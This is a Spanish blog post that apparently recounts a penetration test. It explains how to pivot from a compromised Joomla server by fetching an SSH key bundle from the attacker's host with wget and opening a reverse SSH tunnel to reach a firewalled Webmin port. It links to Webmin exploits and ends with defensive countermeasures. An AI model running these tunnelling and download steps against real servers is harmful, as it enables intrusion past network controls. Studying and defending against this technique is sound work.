SSH Jutsu I - Acercamiento de Puerto

Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el PHP Shell y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).

Después de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se podían hacer ataques:

Escenario

  1. Servidor Web con Linux Fedora Core 3, obviamente con instalación por defecto
  2. Servidor “protegido” por un FW Checkpoint.
    1. Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.
    2. No tiene ACLs de salida del servidor, are you thinking what I am thinking?
  3. Se ha logrado comprometer el servidor
    1. Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el Netcat conectándonos a nuestra máquina desde la máquina vícitma. Total el FW no tiene ACLs que bloqueen la salida de tráfico del servidor.
    2. Tiene un IP Privada del otro lado, así que podemos suponer que están haciendo el port Forwarding al puerto 443.
    3. Tiene el Webmin habilitado >:) pero bloqueado por el FW :’(

Planteamiento

¿Qué sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la DMZ y/o conseguir contraseñas. Ya se sacaron los usuarios con el comando cat /etc/passwd pero los hashes de las contraseñas  no ya que no disponemos de privilegios de root y hacer el viejo truco con Hydra de probar el mismo usuario y contraseñas contra un servicio es inútil por el FW.

¿Cómo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderosísima para la admnistración del servidor pero cuenta con un sin fín de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalación es por default o está sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.

Jutsu

  Creo que habemos pocos que conocemos los oscuros secretos y milenarias técnicas del SSH y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:

Necesitamos tener una cuenta en una máquina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una llave pública de ssh para poder automatizar la autenticación y no perder la shell dentro del servidor:

# Creamos el directorio donde guardaremos la configuracion
mkdir ~/.ssh
# Creamos la llave sin contraseña para que sea mas cómoda de usar
ssh-keygen -t dsa
# Nos crea dos archivos que son la llave pública y la privada
id_dsa id_dsa.pub
# Renombramos la pública para poder usarla como autenticación
mv id_dsa.pub authorized_keys

Ahora creamos el siguiente archivo config:

Host atacante
# La IP o nombre de dominio que estamos usando
Hostname atacante.no-ip.org
RemoteForward 10000 127.0.0.1:10000
# Puerto que tengamos abierto y con el servicio de SSH corriendo
Port 1025
# El usuario que hallamos creado
User tunel
BatchMode yes
Compression yes
# La llave privada que no debe contener contraseña y nos dará acceso al usuario tunel
IdentityFile /tmp/.ssh/id_dsa
CompressionLevel 9
# Con esto nos saltamos el que nos pregunte que si añade la llave rsa al archivo.
StrictHostKeyChecking no
PubkeyAuthentication yes
UserKnownHostsFile /tmp/.ssh/known_hosts

Ahora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta woof.

# En el lado del atacante
woof -p [PuertoAlcanzable] -i [IP] ~/.ssh

# En el lado de la victima
cd /tmp
wget [URL Cambiando la IP por la IP pública] -O - | tar zxvf -
cd .ssh
chmod 0600 *
ssh-agent bash
ssh-add
ssh -fNF config atacante

Recuerda que si estas detrás de un dispositivo que haga NAT debes hacer reenvío de puerto de forma que podamos alcanzar la máquina del atacante desde la máquina víctima y que el URL que le ingresaremos en el wget no es la IP privada sino la IP pública que tiene nuestro router. Los que tenemos cableacces estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP Pública XD.

Y si todo sale bien nos devolverá la línea de comando y veremos un proceso parecido al este:

ps ax | grep -i ssh
28659 ? Ss 0:30 ssh -fNF config atacante

Bien, ahora desde la máquina del atacante deberemos ver unos puertos parecidos a esto:

sudo netstat -ptuna | grep -i listen
tcp 0 0 127.0.0.1:10000 0.0.0.0:* LISTEN -

Perfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administración del Webmin desde el navegador usando la siguiente URL: https://localhost:10000.

Nos vamos a la siguiente página y descargamos el exploit:

http://securitydot.net/xpl/exploits/vulnerabilities/articles/1164/exploit.html en Perl
http://www.milw0rm.com/exploits/1997 en PHP

Contramedidas

  1. No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producción.
  2. Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la máquina así la administración del FW queda en tus manos y no dependes de un tercero que no sabes que políticas maneja. APF es mi recomendación.
  3. En los ACLs del firewall es buena idea bloquear cual tráfico que salga del servidor que no sea de tipo ESTABLISHED o que vaya única y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualización local como el WSUS para Haselfroch.
  4. Siempre, y repito, siempre has un hardeneo de tus servidores de producción, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por túneles de SSH.
  5. Mantén un procedimiento para verificar la integridad de tus servidores como Tripwire.
  6. Mantén una política de contraseñas complejas en tus usuarios, así, aúnque consigan los hashes de la contraseñas el romperlas puede llegar a ser virtualmente imposible.
  7. Mantén actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como GFI Languard y Nessus.

Aún siguiendo estos pasos no puedes ganrantizar que estará seguro tu servidor, siempre habrá una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas prácticas de administración de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.

Adrián Puente Z.
Blogged with the Flock Browser


Tags: , , , , ,

Libertaaad!!! o al menos ya huelo a graduado….

Pues si, aquellos que dudaron se pueden tragar sus palabras! El lunes 19 de mayo del 2008 tuve mi último examen final de mi última materia de la carrera y simplemente no me ha caído el veinte. Me ha costado un huevo y aún no lo acabo de digerir, me he graduado. Sí, me […]

USBeando agusto…

Hace poco me encontré con la grata sorpresa de que el Firefox lo podias correr desde el USB, exacto, todo corría, ejecutaba, escribía y se guardaba desde el diminuto dispositivo USB y al entrar a la página, después de varios meses descubro que hay todo un proyecto llamado PortableApps donde hay aplicaciones donde puedes […]

Depredador en el Aire…

Realmente estaba pensando en escribir un muy buen artículo sobre Hacking de redes Wireless pero desde que la empecé hasta el dia de hoy han pasado muchas cosas y realmente ya hay escritos tantos artículos como peces hay en el mar, ok, exagero pero ya hay un mogollón y como odio ser […]

Amigo/Hermano

Gracias, muchas gracias por ser mi amigo. Gracias a la Wera, al Pitufo, al Benito, al Poison, al Isra, al Fonseca,al Cacha, al Puma, al Zoko, a la Fabi preciosa, a la Jess, al Cacho, al Rodo, a la Shen por ser mas que mis amigos, mis hermanos. Por mostrarme mas que un mundo […]

Habemus Galería

Pues ya por fin pude crear la galería y es que quería ponerla de cierta forma en particular, ya saben, soy de esos que si no cuestan uno y la mitad del otro no me sabe. Quería poner la galería de forma que no usara un servicio externo como Flicker, que se crearan […]

Adicciones…

Yo no sé en que momento me vi envuelto en esta adicción sino mas bien descubrí que la tenía cuando encontré un buen bonche de tajetas de red inalámbricas en mi mochila. Ya sabes volviendo atrás recuerdo como me la mostraban y casi babeando sin consciencia de mi mi mano, cual poseída, sacaba el […]

Más salado que el chamoy…

Ya sabes es uno de esos dias en que tomas valor para seguir con la tésis. Haz logrado sacudirte el letargo, la flojera y la decidia y simplemente no hallas mejor pretexto para no ponerte a hacerla. Te sientas, presionas el botón de encendido, te truenas los nudillos, el cuello, suspiras y ¡¡¡MOÑO!!! […]

Oda al Mr Glade

Cada generación cuenta con su espontáneo que no duda en compartir con sus compañeros lo mejor de sí, todo, hasta el último y mas minúsculo suspiro que puedan contener sus entrañas (literalmente). Este pequeño y curioso ser no duda, sin pena ni gloria expresar su más estruendosa opinión ya sea verbalmente o utilizando la […]

Hex 2 ASCII y viceversa

He estado jugando un poco con redes inalámbricas y cuando logras romper alguna de 64 bits la llave te sale en Hexadecimal. Se me ocurrió que a lo mejor podría significar algo en ASCII asi que pensé en hacerme un pequeño script para convertirlo rápidamente. Encontrar un ejemplo práctico fue difícil asi que comparto […]